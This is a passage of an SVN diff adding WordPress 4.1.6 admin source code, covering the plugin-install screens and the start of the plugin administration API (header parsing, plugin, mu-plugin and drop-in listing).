+		<label><span class="screen-reader-text"><?php _e('Search Plugins'); ?></span>
+			<input type="search" name="s" value="<?php echo esc_attr($term) ?>" <?php echo $input_attrs; ?>/>
+		</label>
+		<?php submit_button( __( 'Search Plugins' ), $button_type, false, false, array( 'id' => 'search-submit' ) ); ?>
+	</form><?php
+}
+
+/**
+ * Upload from zip
+ * @since 2.8.0
+ *
+ * @param integer $page
+ */
+function install_plugins_upload( $page = 1 ) {
+?>
+<div class="upload-plugin">
+	<p class="install-help"><?php _e('If you have a plugin in a .zip format, you may install it by uploading it here.'); ?></p>
+	<form method="post" enctype="multipart/form-data" class="wp-upload-form" action="<?php echo self_admin_url('update.php?action=upload-plugin'); ?>">
+		<?php wp_nonce_field( 'plugin-upload'); ?>
+		<label class="screen-reader-text" for="pluginzip"><?php _e('Plugin zip file'); ?></label>
+		<input type="file" id="pluginzip" name="pluginzip" />
+		<?php submit_button( __( 'Install Now' ), 'button', 'install-plugin-submit', false ); ?>
+	</form>
+</div>
+<?php
+}
+add_action('install_plugins_upload', 'install_plugins_upload', 10, 1);
+
+/**
+ * Show a username form for the favorites page
+ * @since 3.5.0
+ *
+ */
+function install_plugins_favorites_form() {
+	$user = ! empty( $_GET['user'] ) ? wp_unslash( $_GET['user'] ) : get_user_option( 'wporg_favorites' );
+	?>
+	<p class="install-help"><?php _e( 'If you have marked plugins as favorites on WordPress.org, you can browse them here.' ); ?></p>
+	<form method="get" action="">
+		<input type="hidden" name="tab" value="favorites" />
+		<p>
+			<label for="user"><?php _e( 'Your WordPress.org username:' ); ?></label>
+			<input type="search" id="user" name="user" value="<?php echo esc_attr( $user ); ?>" />
+			<input type="submit" class="button" value="<?php esc_attr_e( 'Get Favorites' ); ?>" />
+		</p>
+	</form>
+	<?php
+}
+
+/**
+ * Display plugin content based on plugin list.
+ *
+ * @since 2.7.0
+ */
+function display_plugins_table() {
+	global $wp_list_table;
+
+	switch ( current_filter() ) {
+		case 'install_plugins_favorites' :
+			if ( empty( $_GET['user'] ) && ! get_user_option( 'wporg_favorites' ) ) {
+				return;
+			}
+			break;
+		case 'install_plugins_recommended' :
+			echo '<p>' . __( 'These suggestions are based on the plugins you and other users have installed.' ) . '</p>';
+			break;
+	}
+
+	?>
+	<form id="plugin-filter" action="" method="post">
+		<?php $wp_list_table->display(); ?>
+	</form>
+	<?php
+}
+add_action( 'install_plugins_search',      'display_plugins_table' );
+add_action( 'install_plugins_popular',     'display_plugins_table' );
+add_action( 'install_plugins_recommended', 'display_plugins_table' );
+add_action( 'install_plugins_new',         'display_plugins_table' );
+add_action( 'install_plugins_beta',        'display_plugins_table' );
+add_action( 'install_plugins_favorites',   'display_plugins_table' );
+
+/**
+ * Determine the status we can perform on a plugin.
+ *
+ * @since 3.0.0
+ */
+function install_plugin_install_status($api, $loop = false) {
+	// This function is called recursively, $loop prevents further loops.
+	if ( is_array($api) )
+		$api = (object) $api;
+
+	// Default to a "new" plugin
+	$status = 'install';
+	$url = false;
+
+	/*
+	 * Check to see if this plugin is known to be installed,
+	 * and has an update awaiting it.
+	 */
+	$update_plugins = get_site_transient('update_plugins');
+	if ( isset( $update_plugins->response ) ) {
+		foreach ( (array)$update_plugins->response as $file => $plugin ) {
+			if ( $plugin->slug === $api->slug ) {
+				$status = 'update_available';
+				$update_file = $file;
+				$version = $plugin->new_version;
+				if ( current_user_can('update_plugins') )
+					$url = wp_nonce_url(self_admin_url('update.php?action=upgrade-plugin&plugin=' . $update_file), 'upgrade-plugin_' . $update_file);
+				break;
+			}
+		}
+	}
+
+	if ( 'install' == $status ) {
+		if ( is_dir( WP_PLUGIN_DIR . '/' . $api->slug ) ) {
+			$installed_plugin = get_plugins('/' . $api->slug);
+			if ( empty($installed_plugin) ) {
+				if ( current_user_can('install_plugins') )
+					$url = wp_nonce_url(self_admin_url('update.php?action=install-plugin&plugin=' . $api->slug), 'install-plugin_' . $api->slug);
+			} else {
+				$key = array_keys( $installed_plugin );
+				$key = array_shift( $key ); //Use the first plugin regardless of the name, Could have issues for multiple-plugins in one directory if they share different version numbers
+				if ( version_compare($api->version, $installed_plugin[ $key ]['Version'], '=') ){
+					$status = 'latest_installed';
+				} elseif ( version_compare($api->version, $installed_plugin[ $key ]['Version'], '<') ) {
+					$status = 'newer_installed';
+					$version = $installed_plugin[ $key ]['Version'];
+				} else {
+					//If the above update check failed, Then that probably means that the update checker has out-of-date information, force a refresh
+					if ( ! $loop ) {
+						delete_site_transient('update_plugins');
+						wp_update_plugins();
+						return install_plugin_install_status($api, true);
+					}
+				}
+			}
+		} else {
+			// "install" & no directory with that slug
+			if ( current_user_can('install_plugins') )
+				$url = wp_nonce_url(self_admin_url('update.php?action=install-plugin&plugin=' . $api->slug), 'install-plugin_' . $api->slug);
+		}
+	}
+	if ( isset($_GET['from']) )
+		$url .= '&amp;from=' . urlencode( wp_unslash( $_GET['from'] ) );
+
+	return compact('status', 'url', 'version');
+}
+
+/**
+ * Display plugin information in dialog box form.
+ *
+ * @since 2.7.0
+ */
+function install_plugin_information() {
+	global $tab;
+
+	if ( empty( $_REQUEST['plugin'] ) ) {
+		return;
+	}
+
+	$api = plugins_api( 'plugin_information', array(
+		'slug' => wp_unslash( $_REQUEST['plugin'] ),
+		'is_ssl' => is_ssl(),
+		'fields' => array( 'banners' => true, 'reviews' => true )
+	) );
+
+	if ( is_wp_error( $api ) ) {
+		wp_die( $api );
+	}
+
+	$plugins_allowedtags = array(
+		'a' => array( 'href' => array(), 'title' => array(), 'target' => array() ),
+		'abbr' => array( 'title' => array() ), 'acronym' => array( 'title' => array() ),
+		'code' => array(), 'pre' => array(), 'em' => array(), 'strong' => array(),
+		'div' => array( 'class' => array() ), 'span' => array( 'class' => array() ),
+		'p' => array(), 'ul' => array(), 'ol' => array(), 'li' => array(),
+		'h1' => array(), 'h2' => array(), 'h3' => array(), 'h4' => array(), 'h5' => array(), 'h6' => array(),
+		'img' => array( 'src' => array(), 'class' => array(), 'alt' => array() )
+	);
+
+	$plugins_section_titles = array(
+		'description'  => _x( 'Description',  'Plugin installer section title' ),
+		'installation' => _x( 'Installation', 'Plugin installer section title' ),
+		'faq'          => _x( 'FAQ',          'Plugin installer section title' ),
+		'screenshots'  => _x( 'Screenshots',  'Plugin installer section title' ),
+		'changelog'    => _x( 'Changelog',    'Plugin installer section title' ),
+		'reviews'      => _x( 'Reviews',      'Plugin installer section title' ),
+		'other_notes'  => _x( 'Other Notes',  'Plugin installer section title' )
+	);
+
+	// Sanitize HTML
+	foreach ( (array) $api->sections as $section_name => $content ) {
+		$api->sections[$section_name] = wp_kses( $content, $plugins_allowedtags );
+	}
+
+	foreach ( array( 'version', 'author', 'requires', 'tested', 'homepage', 'downloaded', 'slug' ) as $key ) {
+		if ( isset( $api->$key ) ) {
+			$api->$key = wp_kses( $api->$key, $plugins_allowedtags );
+		}
+	}
+
+	$_tab = esc_attr( $tab );
+
+	$section = isset( $_REQUEST['section'] ) ? wp_unslash( $_REQUEST['section'] ) : 'description'; // Default to the Description tab, Do not translate, API returns English.
+	if ( empty( $section ) || ! isset( $api->sections[ $section ] ) ) {
+		$section_titles = array_keys( (array) $api->sections );
+		$section = array_shift( $section_titles );
+	}
+
+	iframe_header( __( 'Plugin Install' ) );
+
+	$_with_banner = '';
+
+	if ( ! empty( $api->banners ) && ( ! empty( $api->banners['low'] ) || ! empty( $api->banners['high'] ) ) ) {
+		$_with_banner = 'with-banner';
+		$low  = empty( $api->banners['low'] ) ? $api->banners['high'] : $api->banners['low'];
+		$high = empty( $api->banners['high'] ) ? $api->banners['low'] : $api->banners['high'];
+		?>
+		<style type="text/css">
+			#plugin-information-title.with-banner {
+				background-image: url( <?php echo esc_url( $low ); ?> );
+			}
+			@media only screen and ( -webkit-min-device-pixel-ratio: 1.5 ) {
+				#plugin-information-title.with-banner {
+					background-image: url( <?php echo esc_url( $high ); ?> );
+				}
+			}
+		</style>
+		<?php
+	}
+
+	echo '<div id="plugin-information-scrollable">';
+	echo "<div id='{$_tab}-title' class='{$_with_banner}'><div class='vignette'></div><h2>{$api->name}</h2></div>";
+	echo "<div id='{$_tab}-tabs' class='{$_with_banner}'>\n";
+
+	foreach ( (array) $api->sections as $section_name => $content ) {
+		if ( 'reviews' === $section_name && ( empty( $api->ratings ) || 0 === array_sum( (array) $api->ratings ) ) ) {
+			continue;
+		}
+
+		if ( isset( $plugins_section_titles[ $section_name ] ) ) {
+			$title = $plugins_section_titles[ $section_name ];
+		} else {
+			$title = ucwords( str_replace( '_', ' ', $section_name ) );
+		}
+
+		$class = ( $section_name === $section ) ? ' class="current"' : '';
+		$href = add_query_arg( array('tab' => $tab, 'section' => $section_name) );
+		$href = esc_url( $href );
+		$san_section = esc_attr( $section_name );
+		echo "\t<a name='$san_section' href='$href' $class>$title</a>\n";
+	}
+
+	echo "</div>\n";
+
+	?>
+	<div id="<?php echo $_tab; ?>-content" class='<?php echo $_with_banner; ?>'>
+	<div class="fyi">
+		<ul>
+		<?php if ( ! empty( $api->version ) ) { ?>
+			<li><strong><?php _e( 'Version:' ); ?></strong> <?php echo $api->version; ?></li>
+		<?php } if ( ! empty( $api->author ) ) { ?>
+			<li><strong><?php _e( 'Author:' ); ?></strong> <?php echo links_add_target( $api->author, '_blank' ); ?></li>
+		<?php } if ( ! empty( $api->last_updated ) ) { ?>
+			<li><strong><?php _e( 'Last Updated:' ); ?></strong> <span title="<?php echo $api->last_updated; ?>">
+				<?php printf( __( '%s ago' ), human_time_diff( strtotime( $api->last_updated ) ) ); ?>
+			</span></li>
+		<?php } if ( ! empty( $api->requires ) ) { ?>
+			<li><strong><?php _e( 'Requires WordPress Version:' ); ?></strong> <?php printf( __( '%s or higher' ), $api->requires ); ?></li>
+		<?php } if ( ! empty( $api->tested ) ) { ?>
+			<li><strong><?php _e( 'Compatible up to:' ); ?></strong> <?php echo $api->tested; ?></li>
+		<?php } if ( ! empty( $api->downloaded ) ) { ?>
+			<li><strong><?php _e( 'Downloaded:' ); ?></strong> <?php printf( _n( '%s time', '%s times', $api->downloaded ), number_format_i18n( $api->downloaded ) ); ?></li>
+		<?php } if ( ! empty( $api->slug ) && empty( $api->external ) ) { ?>
+			<li><a target="_blank" href="https://wordpress.org/plugins/<?php echo $api->slug; ?>/"><?php _e( 'WordPress.org Plugin Page &#187;' ); ?></a></li>
+		<?php } if ( ! empty( $api->homepage ) ) { ?>
+			<li><a target="_blank" href="<?php echo esc_url( $api->homepage ); ?>"><?php _e( 'Plugin Homepage &#187;' ); ?></a></li>
+		<?php } if ( ! empty( $api->donate_link ) && empty( $api->contributors ) ) { ?>
+			<li><a target="_blank" href="<?php echo esc_url( $api->donate_link ); ?>"><?php _e( 'Donate to this plugin &#187;' ); ?></a></li>
+		<?php } ?>
+		</ul>
+		<?php if ( ! empty( $api->rating ) ) { ?>
+		<h3><?php _e( 'Average Rating' ); ?></h3>
+		<?php wp_star_rating( array( 'rating' => $api->rating, 'type' => 'percent', 'number' => $api->num_ratings ) ); ?>
+		<small><?php printf( _n( '(based on %s rating)', '(based on %s ratings)', $api->num_ratings ), number_format_i18n( $api->num_ratings ) ); ?></small>
+		<?php }
+
+		if ( ! empty( $api->ratings ) && array_sum( (array) $api->ratings ) > 0 ) {
+			foreach( $api->ratings as $key => $ratecount ) {
+				// Avoid div-by-zero.
+				$_rating = $api->num_ratings ? ( $ratecount / $api->num_ratings ) : 0;
+				?>
+				<div class="counter-container">
+					<span class="counter-label"><a href="https://wordpress.org/support/view/plugin-reviews/<?php echo $api->slug; ?>?filter=<?php echo $key; ?>"
+						target="_blank"
+						title="<?php echo esc_attr( sprintf( _n( 'Click to see reviews that provided a rating of %d star', 'Click to see reviews that provided a rating of %d stars', $key ), $key ) ); ?>"><?php printf( _n( '%d star', '%d stars', $key ), $key ); ?></a></span>
+					<span class="counter-back">
+						<span class="counter-bar" style="width: <?php echo 92 * $_rating; ?>px;"></span>
+					</span>
+					<span class="counter-count"><?php echo number_format_i18n( $ratecount ); ?></span>
+				</div>
+				<?php
+			}
+		}
+		if ( ! empty( $api->contributors ) ) { ?>
+			<h3><?php _e( 'Contributors' ); ?></h3>
+			<ul class="contributors">
+				<?php
+				foreach ( (array) $api->contributors as $contrib_username => $contrib_profile ) {
+					if ( empty( $contrib_username ) && empty( $contrib_profile ) ) {
+						continue;
+					}
+					if ( empty( $contrib_username ) ) {
+						$contrib_username = preg_replace( '/^.+\/(.+)\/?$/', '\1', $contrib_profile );
+					}
+					$contrib_username = sanitize_user( $contrib_username );
+					if ( empty( $contrib_profile ) ) {
+						echo "<li><img src='https://wordpress.org/grav-redirect.php?user={$contrib_username}&amp;s=36' width='18' height='18' />{$contrib_username}</li>";
+					} else {
+						echo "<li><a href='{$contrib_profile}' target='_blank'><img src='https://wordpress.org/grav-redirect.php?user={$contrib_username}&amp;s=36' width='18' height='18' />{$contrib_username}</a></li>";
+					}
+				}
+				?>
+			</ul>
+			<?php if ( ! empty( $api->donate_link ) ) { ?>
+				<a target="_blank" href="<?php echo esc_url( $api->donate_link ); ?>"><?php _e( 'Donate to this plugin &#187;' ); ?></a>
+			<?php } ?>
+		<?php } ?>
+	</div>
+	<div id="section-holder" class="wrap">
+	<?php
+		if ( ! empty( $api->tested ) && version_compare( substr( $GLOBALS['wp_version'], 0, strlen( $api->tested ) ), $api->tested, '>' ) ) {
+			echo '<div class="notice notice-warning"><p>' . __('<strong>Warning:</strong> This plugin has <strong>not been tested</strong> with your current version of WordPress.') . '</p></div>';
+		} else if ( ! empty( $api->requires ) && version_compare( substr( $GLOBALS['wp_version'], 0, strlen( $api->requires ) ), $api->requires, '<' ) ) {
+			echo '<div class="notice notice-warning"><p>' . __('<strong>Warning:</strong> This plugin has <strong>not been marked as compatible</strong> with your version of WordPress.') . '</p></div>';
+		}
+
+		foreach ( (array) $api->sections as $section_name => $content ) {
+			$content = links_add_base_url( $content, 'https://wordpress.org/plugins/' . $api->slug . '/' );
+			$content = links_add_target( $content, '_blank' );
+
+			$san_section = esc_attr( $section_name );
+
+			$display = ( $section_name === $section ) ? 'block' : 'none';
+
+			echo "\t<div id='section-{$san_section}' class='section' style='display: {$display};'>\n";
+			echo $content;
+			echo "\t</div>\n";
+		}
+	echo "</div>\n";
+	echo "</div>\n";
+	echo "</div>\n"; // #plugin-information-scrollable
+	echo "<div id='$tab-footer'>\n";
+	if ( ! empty( $api->download_link ) && ( current_user_can( 'install_plugins' ) || current_user_can( 'update_plugins' ) ) ) {
+		$status = install_plugin_install_status( $api );
+		switch ( $status['status'] ) {
+			case 'install':
+				if ( $status['url'] ) {
+					echo '<a class="button button-primary right" href="' . $status['url'] . '" target="_parent">' . __( 'Install Now' ) . '</a>';
+				}
+				break;
+			case 'update_available':
+				if ( $status['url'] ) {
+					echo '<a class="button button-primary right" href="' . $status['url'] . '" target="_parent">' . __( 'Install Update Now' ) .'</a>';
+				}
+				break;
+			case 'newer_installed':
+				echo '<a class="button button-primary right disabled">' . sprintf( __( 'Newer Version (%s) Installed'), $status['version'] ) . '</a>';
+				break;
+			case 'latest_installed':
+				echo '<a class="button button-primary right disabled">' . __( 'Latest Version Installed' ) . '</a>';
+				break;
+		}
+	}
+	echo "</div>\n";
+
+	iframe_footer();
+	exit;
+}
+add_action('install_plugins_pre_plugin-information', 'install_plugin_information');
Index: /tags/4.1.6/src/wp-admin/includes/plugin.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/plugin.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/plugin.php	(revision 33402)
@@ -0,0 +1,1897 @@
+<?php
+/**
+ * WordPress Plugin Administration API
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Parse the plugin contents to retrieve plugin's metadata.
+ *
+ * The metadata of the plugin's data searches for the following in the plugin's
+ * header. All plugin data must be on its own line. For plugin description, it
+ * must not have any newlines or only parts of the description will be displayed
+ * and the same goes for the plugin data. The below is formatted for printing.
+ *
+ *     /*
+ *     Plugin Name: Name of Plugin
+ *     Plugin URI: Link to plugin information
+ *     Description: Plugin Description
+ *     Author: Plugin author's name
+ *     Author URI: Link to the author's web site
+ *     Version: Must be set in the plugin for WordPress 2.3+
+ *     Text Domain: Optional. Unique identifier, should be same as the one used in
+ *    		plugin_text_domain()
+ *     Domain Path: Optional. Only useful if the translations are located in a
+ *    		folder above the plugin's base path. For example, if .mo files are
+ *    		located in the locale folder then Domain Path will be "/locale/" and
+ *    		must have the first slash. Defaults to the base folder the plugin is
+ *    		located in.
+ *     Network: Optional. Specify "Network: true" to require that a plugin is activated
+ *    		across all sites in an installation. This will prevent a plugin from being
+ *    		activated on a single site when Multisite is enabled.
+ *      * / # Remove the space to close comment
+ *
+ * Plugin data returned array contains the following:
+ *
+ * - 'Name' - Name of the plugin, must be unique.
+ * - 'Title' - Title of the plugin and the link to the plugin's web site.
+ * - 'Description' - Description of what the plugin does and/or notes
+ * - from the author.
+ * - 'Author' - The author's name
+ * - 'AuthorURI' - The authors web site address.
+ * - 'Version' - The plugin version number.
+ * - 'PluginURI' - Plugin web site address.
+ * - 'TextDomain' - Plugin's text domain for localization.
+ * - 'DomainPath' - Plugin's relative directory path to .mo files.
+ * - 'Network' - Boolean. Whether the plugin can only be activated network wide.
+ *
+ * Some users have issues with opening large files and manipulating the contents
+ * for want is usually the first 1kiB or 2kiB. This function stops pulling in
+ * the plugin contents when it has all of the required plugin data.
+ *
+ * The first 8kiB of the file will be pulled in and if the plugin data is not
+ * within that first 8kiB, then the plugin author should correct their plugin
+ * and move the plugin data headers to the top.
+ *
+ * The plugin file is assumed to have permissions to allow for scripts to read
+ * the file. This is not checked however and the file is only opened for
+ * reading.
+ *
+ * @link https://core.trac.wordpress.org/ticket/5651 Previous Optimizations.
+ * @link https://core.trac.wordpress.org/ticket/7372 Further and better Optimizations.
+ *
+ * @since 1.5.0
+ *
+ * @param string $plugin_file Path to the plugin file
+ * @param bool $markup Optional. If the returned data should have HTML markup applied. Defaults to true.
+ * @param bool $translate Optional. If the returned data should be translated. Defaults to true.
+ * @return array See above for description.
+ */
+function get_plugin_data( $plugin_file, $markup = true, $translate = true ) {
+
+	$default_headers = array(
+		'Name' => 'Plugin Name',
+		'PluginURI' => 'Plugin URI',
+		'Version' => 'Version',
+		'Description' => 'Description',
+		'Author' => 'Author',
+		'AuthorURI' => 'Author URI',
+		'TextDomain' => 'Text Domain',
+		'DomainPath' => 'Domain Path',
+		'Network' => 'Network',
+		// Site Wide Only is deprecated in favor of Network.
+		'_sitewide' => 'Site Wide Only',
+	);
+
+	$plugin_data = get_file_data( $plugin_file, $default_headers, 'plugin' );
+
+	// Site Wide Only is the old header for Network
+	if ( ! $plugin_data['Network'] && $plugin_data['_sitewide'] ) {
+		_deprecated_argument( __FUNCTION__, '3.0', sprintf( __( 'The <code>%1$s</code> plugin header is deprecated. Use <code>%2$s</code> instead.' ), 'Site Wide Only: true', 'Network: true' ) );
+		$plugin_data['Network'] = $plugin_data['_sitewide'];
+	}
+	$plugin_data['Network'] = ( 'true' == strtolower( $plugin_data['Network'] ) );
+	unset( $plugin_data['_sitewide'] );
+
+	if ( $markup || $translate ) {
+		$plugin_data = _get_plugin_data_markup_translate( $plugin_file, $plugin_data, $markup, $translate );
+	} else {
+		$plugin_data['Title']      = $plugin_data['Name'];
+		$plugin_data['AuthorName'] = $plugin_data['Author'];
+	}
+
+	return $plugin_data;
+}
+
+/**
+ * Sanitizes plugin data, optionally adds markup, optionally translates.
+ *
+ * @since 2.7.0
+ * @access private
+ * @see get_plugin_data()
+ */
+function _get_plugin_data_markup_translate( $plugin_file, $plugin_data, $markup = true, $translate = true ) {
+
+	// Sanitize the plugin filename to a WP_PLUGIN_DIR relative path
+	$plugin_file = plugin_basename( $plugin_file );
+
+	// Translate fields
+	if ( $translate ) {
+		if ( $textdomain = $plugin_data['TextDomain'] ) {
+			if ( $plugin_data['DomainPath'] )
+				load_plugin_textdomain( $textdomain, false, dirname( $plugin_file ) . $plugin_data['DomainPath'] );
+			else
+				load_plugin_textdomain( $textdomain, false, dirname( $plugin_file ) );
+		} elseif ( in_array( basename( $plugin_file ), array( 'hello.php', 'akismet.php' ) ) ) {
+			$textdomain = 'default';
+		}
+		if ( $textdomain ) {
+			foreach ( array( 'Name', 'PluginURI', 'Description', 'Author', 'AuthorURI', 'Version' ) as $field )
+				$plugin_data[ $field ] = translate( $plugin_data[ $field ], $textdomain );
+		}
+	}
+
+	// Sanitize fields
+	$allowed_tags = $allowed_tags_in_links = array(
+		'abbr'    => array( 'title' => true ),
+		'acronym' => array( 'title' => true ),
+		'code'    => true,
+		'em'      => true,
+		'strong'  => true,
+	);
+	$allowed_tags['a'] = array( 'href' => true, 'title' => true );
+
+	// Name is marked up inside <a> tags. Don't allow these.
+	// Author is too, but some plugins have used <a> here (omitting Author URI).
+	$plugin_data['Name']        = wp_kses( $plugin_data['Name'],        $allowed_tags_in_links );
+	$plugin_data['Author']      = wp_kses( $plugin_data['Author'],      $allowed_tags );
+
+	$plugin_data['Description'] = wp_kses( $plugin_data['Description'], $allowed_tags );
+	$plugin_data['Version']     = wp_kses( $plugin_data['Version'],     $allowed_tags );
+
+	$plugin_data['PluginURI']   = esc_url( $plugin_data['PluginURI'] );
+	$plugin_data['AuthorURI']   = esc_url( $plugin_data['AuthorURI'] );
+
+	$plugin_data['Title']      = $plugin_data['Name'];
+	$plugin_data['AuthorName'] = $plugin_data['Author'];
+
+	// Apply markup
+	if ( $markup ) {
+		if ( $plugin_data['PluginURI'] && $plugin_data['Name'] )
+			$plugin_data['Title'] = '<a href="' . $plugin_data['PluginURI'] . '">' . $plugin_data['Name'] . '</a>';
+
+		if ( $plugin_data['AuthorURI'] && $plugin_data['Author'] )
+			$plugin_data['Author'] = '<a href="' . $plugin_data['AuthorURI'] . '">' . $plugin_data['Author'] . '</a>';
+
+		$plugin_data['Description'] = wptexturize( $plugin_data['Description'] );
+
+		if ( $plugin_data['Author'] )
+			$plugin_data['Description'] .= ' <cite>' . sprintf( __('By %s.'), $plugin_data['Author'] ) . '</cite>';
+	}
+
+	return $plugin_data;
+}
+
+/**
+ * Get a list of a plugin's files.
+ *
+ * @since 2.8.0
+ *
+ * @param string $plugin Plugin ID
+ * @return array List of files relative to the plugin root.
+ */
+function get_plugin_files($plugin) {
+	$plugin_file = WP_PLUGIN_DIR . '/' . $plugin;
+	$dir = dirname($plugin_file);
+	$plugin_files = array($plugin);
+	if ( is_dir($dir) && $dir != WP_PLUGIN_DIR ) {
+		$plugins_dir = @ opendir( $dir );
+		if ( $plugins_dir ) {
+			while (($file = readdir( $plugins_dir ) ) !== false ) {
+				if ( substr($file, 0, 1) == '.' )
+					continue;
+				if ( is_dir( $dir . '/' . $file ) ) {
+					$plugins_subdir = @ opendir( $dir . '/' . $file );
+					if ( $plugins_subdir ) {
+						while (($subfile = readdir( $plugins_subdir ) ) !== false ) {
+							if ( substr($subfile, 0, 1) == '.' )
+								continue;
+							$plugin_files[] = plugin_basename("$dir/$file/$subfile");
+						}
+						@closedir( $plugins_subdir );
+					}
+				} else {
+					if ( plugin_basename("$dir/$file") != $plugin )
+						$plugin_files[] = plugin_basename("$dir/$file");
+				}
+			}
+			@closedir( $plugins_dir );
+		}
+	}
+
+	return $plugin_files;
+}
+
+/**
+ * Check the plugins directory and retrieve all plugin files with plugin data.
+ *
+ * WordPress only supports plugin files in the base plugins directory
+ * (wp-content/plugins) and in one directory above the plugins directory
+ * (wp-content/plugins/my-plugin). The file it looks for has the plugin data and
+ * must be found in those two locations. It is recommended that do keep your
+ * plugin files in directories.
+ *
+ * The file with the plugin data is the file that will be included and therefore
+ * needs to have the main execution for the plugin. This does not mean
+ * everything must be contained in the file and it is recommended that the file
+ * be split for maintainability. Keep everything in one file for extreme
+ * optimization purposes.
+ *
+ * @since 1.5.0
+ *
+ * @param string $plugin_folder Optional. Relative path to single plugin folder.
+ * @return array Key is the plugin file path and the value is an array of the plugin data.
+ */
+function get_plugins($plugin_folder = '') {
+
+	if ( ! $cache_plugins = wp_cache_get('plugins', 'plugins') )
+		$cache_plugins = array();
+
+	if ( isset($cache_plugins[ $plugin_folder ]) )
+		return $cache_plugins[ $plugin_folder ];
+
+	$wp_plugins = array ();
+	$plugin_root = WP_PLUGIN_DIR;
+	if ( !empty($plugin_folder) )
+		$plugin_root .= $plugin_folder;
+
+	// Files in wp-content/plugins directory
+	$plugins_dir = @ opendir( $plugin_root);
+	$plugin_files = array();
+	if ( $plugins_dir ) {
+		while (($file = readdir( $plugins_dir ) ) !== false ) {
+			if ( substr($file, 0, 1) == '.' )
+				continue;
+			if ( is_dir( $plugin_root.'/'.$file ) ) {
+				$plugins_subdir = @ opendir( $plugin_root.'/'.$file );
+				if ( $plugins_subdir ) {
+					while (($subfile = readdir( $plugins_subdir ) ) !== false ) {
+						if ( substr($subfile, 0, 1) == '.' )
+							continue;
+						if ( substr($subfile, -4) == '.php' )
+							$plugin_files[] = "$file/$subfile";
+					}
+					closedir( $plugins_subdir );
+				}
+			} else {
+				if ( substr($file, -4) == '.php' )
+					$plugin_files[] = $file;
+			}
+		}
+		closedir( $plugins_dir );
+	}
+
+	if ( empty($plugin_files) )
+		return $wp_plugins;
+
+	foreach ( $plugin_files as $plugin_file ) {
+		if ( !is_readable( "$plugin_root/$plugin_file" ) )
+			continue;
+
+		$plugin_data = get_plugin_data( "$plugin_root/$plugin_file", false, false ); //Do not apply markup/translate as it'll be cached.
+
+		if ( empty ( $plugin_data['Name'] ) )
+			continue;
+
+		$wp_plugins[plugin_basename( $plugin_file )] = $plugin_data;
+	}
+
+	uasort( $wp_plugins, '_sort_uname_callback' );
+
+	$cache_plugins[ $plugin_folder ] = $wp_plugins;
+	wp_cache_set('plugins', $cache_plugins, 'plugins');
+
+	return $wp_plugins;
+}
+
+/**
+ * Check the mu-plugins directory and retrieve all mu-plugin files with any plugin data.
+ *
+ * WordPress only includes mu-plugin files in the base mu-plugins directory (wp-content/mu-plugins).
+ *
+ * @since 3.0.0
+ * @return array Key is the mu-plugin file path and the value is an array of the mu-plugin data.
+ */
+function get_mu_plugins() {
+	$wp_plugins = array();
+	// Files in wp-content/mu-plugins directory
+	$plugin_files = array();
+
+	if ( ! is_dir( WPMU_PLUGIN_DIR ) )
+		return $wp_plugins;
+	if ( $plugins_dir = @ opendir( WPMU_PLUGIN_DIR ) ) {
+		while ( ( $file = readdir( $plugins_dir ) ) !== false ) {
+			if ( substr( $file, -4 ) == '.php' )
+				$plugin_files[] = $file;
+		}
+	} else {
+		return $wp_plugins;
+	}
+
+	@closedir( $plugins_dir );
+
+	if ( empty($plugin_files) )
+		return $wp_plugins;
+
+	foreach ( $plugin_files as $plugin_file ) {
+		if ( !is_readable( WPMU_PLUGIN_DIR . "/$plugin_file" ) )
+			continue;
+
+		$plugin_data = get_plugin_data( WPMU_PLUGIN_DIR . "/$plugin_file", false, false ); //Do not apply markup/translate as it'll be cached.
+
+		if ( empty ( $plugin_data['Name'] ) )
+			$plugin_data['Name'] = $plugin_file;
+
+		$wp_plugins[ $plugin_file ] = $plugin_data;
+	}
+
+	if ( isset( $wp_plugins['index.php'] ) && filesize( WPMU_PLUGIN_DIR . '/index.php') <= 30 ) // silence is golden
+		unset( $wp_plugins['index.php'] );
+
+	uasort( $wp_plugins, '_sort_uname_callback' );
+
+	return $wp_plugins;
+}
+
+/**
+ * Callback to sort array by a 'Name' key.
+ *
+ * @since 3.1.0
+ * @access private
+ */
+function _sort_uname_callback( $a, $b ) {
+	return strnatcasecmp( $a['Name'], $b['Name'] );
+}
+
+/**
+ * Check the wp-content directory and retrieve all drop-ins with any plugin data.
+ *
+ * @since 3.0.0
+ * @return array Key is the file path and the value is an array of the plugin data.
+ */
+function get_dropins() {
+	$dropins = array();
+	$plugin_files = array();
+
+	$_dropins = _get_dropins();
+
+	// These exist in the wp-content directory
+	if ( $plugins_dir = @ opendir( WP_CONTENT_DIR ) ) {
+		while ( ( $file = readdir( $plugins_dir ) ) !== false ) {
+			if ( isset( $_dropins[ $file ] ) )
+				$plugin_files[] = $file;
+		}
+	} else {
+		return $dropins;
+	}
+
+	@closedir( $plugins_dir );
+
+	if ( empty($plugin_files) )
+		return $dropins;
+
+	foreach ( $plugin_files as $plugin_file ) {
+		if ( !is_readable( WP_CONTENT_DIR . "/$plugin_file" ) )
+			continue;
+		$plugin_data = get_plugin_data( WP_CONTENT_DIR . "/$plugin_file", false, false ); //Do not apply markup/translate as it'll be cached.
+		if ( empty( $plugin_data['Name'] ) )
+			$plugin_data['Name'] = $plugin_file;
+		$dropins[ $plugin_file ] = $plugin_data;
+	}
+
+	uksort( $dropins, 'strnatcasecmp' );
+
+	return $dropins;
+}
+
+/**
+ * Returns drop-ins that WordPress uses.
+ *
+ * Includes Multisite drop-ins only when is_multisite()
+ *
+ * @since 3.0.0
+ * @return array Key is file name. The value is an array, with the first value the
+ *	purpose of the drop-in and the second value the name of the constant that must be
+ *	true for the drop-in to be used, or true if no constant is required.
+ */
+function _get_dropins() {
+	$dropins = array(
+		'advanced-cache.php' => array( __( 'Advanced caching plugin.'       ), 'WP_CACHE' ), // WP_CACHE
+		'db.php'             => array( __( 'Custom database class.'         ), true ), // auto on load
+		'db-error.php'       => array( __( 'Custom database error message.' ), true ), // auto on error
+		'install.php'        => array( __( 'Custom install script.'         ), true ), // auto on install
+		'maintenance.php'    => array( __( 'Custom maintenance message.'    ), true ), // auto on maintenance
+		'object-cache.php'   => array( __( 'External object cache.'         ), true ), // auto on load
+	);
+
+	if ( is_multisite() ) {
+		$dropins['sunrise.php'       ] = array( __( 'Executed before Multisite is loaded.' ), 'SUNRISE' ); // SUNRISE
